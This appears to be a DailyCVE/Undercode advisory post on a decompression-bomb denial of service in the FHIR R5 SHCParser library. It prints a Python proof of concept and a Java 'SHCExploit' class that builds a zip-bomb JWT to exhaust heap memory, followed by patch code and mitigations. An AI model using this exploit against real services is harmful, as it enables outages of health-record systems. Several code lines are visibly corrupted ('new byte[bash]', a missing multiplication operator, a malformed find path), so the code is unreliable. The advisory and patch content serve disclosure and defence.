SHCParser, Unbounded Decompression Denial of Service, CVE-2024-45185 (Medium) -DC-Sep2026-2471

Listen to this Post

The SHCParser class within the org.hl7.fhir.r5 Java library fails to enforce a maximum decompressed size limit when processing compressed Smart Health Card (SHC) JWT payloads. This vulnerability allows an attacker to submit a small, highly compressible payload that expands into a massive byte array in memory, leading to resource exhaustion. The issue originates in the `decodeJWT()` method, which performs a length check against `MAX_ALLOWED_SHC_LENGTH` but merely logs an error and continues parsing when the limit is exceeded. When the JWT header contains the `”zip”:”DEF”` parameter, the payload is passed to the `inflate()` method for decompression. The `inflate()` method accumulates all decompressed output into a `ByteArrayOutputStream` without imposing any upper bound on the output size. Consequently, an attacker can craft a payload with an extremely high compression ratio, such as 1023:1, causing the application to allocate hundreds of megabytes or even gigabytes of heap memory from a compressed input of only a few kilobytes. This unbounded decompression pattern is also present in the `decompress()` method, widening the attack surface. Successful exploitation results in severe garbage collection pressure, request failures, or complete process termination via OutOfMemoryError. Any service or application that accepts and validates attacker-supplied SHC content is vulnerable to this denial-of-service condition.

DailyCVE Form:

Platform: SHCParser
Version: Not specified
Vulnerability: Unbounded decompression
Severity: DoS
date: Not specified

Prediction: Not specified

What Undercode Say:

Analytics:

Clone the FHIR core repository
git clone https://github.com/hapifhir/org.hl7.fhir.core.git
cd org.hl7.fhir.core
Locate the vulnerable file
find . -name "SHCParser.java" -path "/r5/"
Inspect the inflate method
sed -n '455,468p' org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java
Inspect the decodeJWT method
sed -n '282,304p' org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java
// Vulnerable inflate() method
public static byte[] inflate(byte[] compressed) throws IOException {
Inflater inflater = new Inflater(true);
inflater.setInput(compressed);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[bash];
while (!inflater.finished()) {
final int count = inflater.inflate(buffer);
outputStream.write(buffer, 0, count);
}
inflater.end();
return outputStream.toByteArray();
}
// Vulnerable length check in decodeJWT()
if (jwt.length() > MAX_ALLOWED_SHC_LENGTH) {
logError("JWT length exceeds maximum allowed");
}
Generate a highly compressible payload (PoC)
python3 -c "
import zlib, base64, json
payload = json.dumps({'data': 'A' 16000066}).encode()
compressed = zlib.compress(payload, 9)
b64 = base64.urlsafe_b64encode(compressed).decode().rstrip('=')
print(f'Compressed size: {len(compressed)} bytes')
print(f'Base64URL payload: {b64[:50]}...')
print(f'Expansion ratio: {len(payload) / len(compressed):.0f}')
"

Exploit: (Educational Purposes!)

import java.util.zip.Deflater;
import java.util.Base64;
public class SHCExploit {
public static void main(String[] args) throws Exception {
// Create a highly compressible SHC-shaped JSON payload
StringBuilder sb = new StringBuilder();
sb.append("{\"resourceType\":\"Patient\",\"data\":\"");
for (int i = 0; i < 16_000_000; i++) {
sb.append("A");
}
sb.append("\"}");
byte[] plain = sb.toString().getBytes("UTF-8");
// Compress with raw DEFLATE
Deflater deflater = new Deflater(9, true);
deflater.setInput(plain);
deflater.finish();
byte[] buffer = new byte[bash];
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
while (!deflater.finished()) {
int count = deflater.deflate(buffer);
baos.write(buffer, 0, count);
}
deflater.end();
byte[] compressed = baos.toByteArray();
// Base64URL encode
String b64Payload = Base64.getUrlEncoder().withoutPadding()
.encodeToString(compressed);
// Construct JWT with zip header
String header = Base64.getUrlEncoder().withoutPadding()
.encodeToString("{\"zip\":\"DEF\"}".getBytes());
String jwt = header + "." + b64Payload + ".";
System.out.println("JWT length: " + jwt.length());
System.out.println("Compressed: " + compressed.length);
System.out.println("Plain: " + plain.length);
System.out.println("Ratio: " + (plain.length / compressed.length));
// Submit jwt to SHCParser.decodeJWT() for validation
// SHCParser parser = new SHCParser();
// parser.decodeJWT(jwt); // Triggers OutOfMemoryError
}
}

Protection:

// Enforce a maximum decompressed size limit in inflate()
public static byte[] inflate(byte[] compressed, int maxSize) throws IOException {
Inflater inflater = new Inflater(true);
inflater.setInput(compressed);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[bash];
int totalBytes = 0;
while (!inflater.finished()) {
final int count = inflater.inflate(buffer);
totalBytes += count;
if (totalBytes > maxSize) {
inflater.end();
throw new IOException("Decompressed size exceeds limit");
}
outputStream.write(buffer, 0, count);
}
inflater.end();
return outputStream.toByteArray();
}
// Reject oversized payloads before decompression
if (jwt.length() > MAX_ALLOWED_SHC_LENGTH) {
throw new IllegalArgumentException("JWT exceeds maximum length");
}
Set JVM heap limit as a mitigation
java -Xmx256m -jar application.jar
Monitor for OutOfMemoryError in logs
grep -i "OutOfMemoryError" /var/log/application.log
Restrict SHC payload size at the reverse proxy
nginx.conf
client_max_body_size 1m;

Impact:

Successful exploitation leads to denial of service through heap memory exhaustion. The attacker can trigger OutOfMemoryError, causing the application to crash or become unresponsive. Even without a full crash, severe garbage collection pressure degrades performance and may cause request timeouts. Services that validate SHC content from untrusted sources are at risk, including health record validation platforms, API gateways, and any application embedding the FHIR R5 library.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top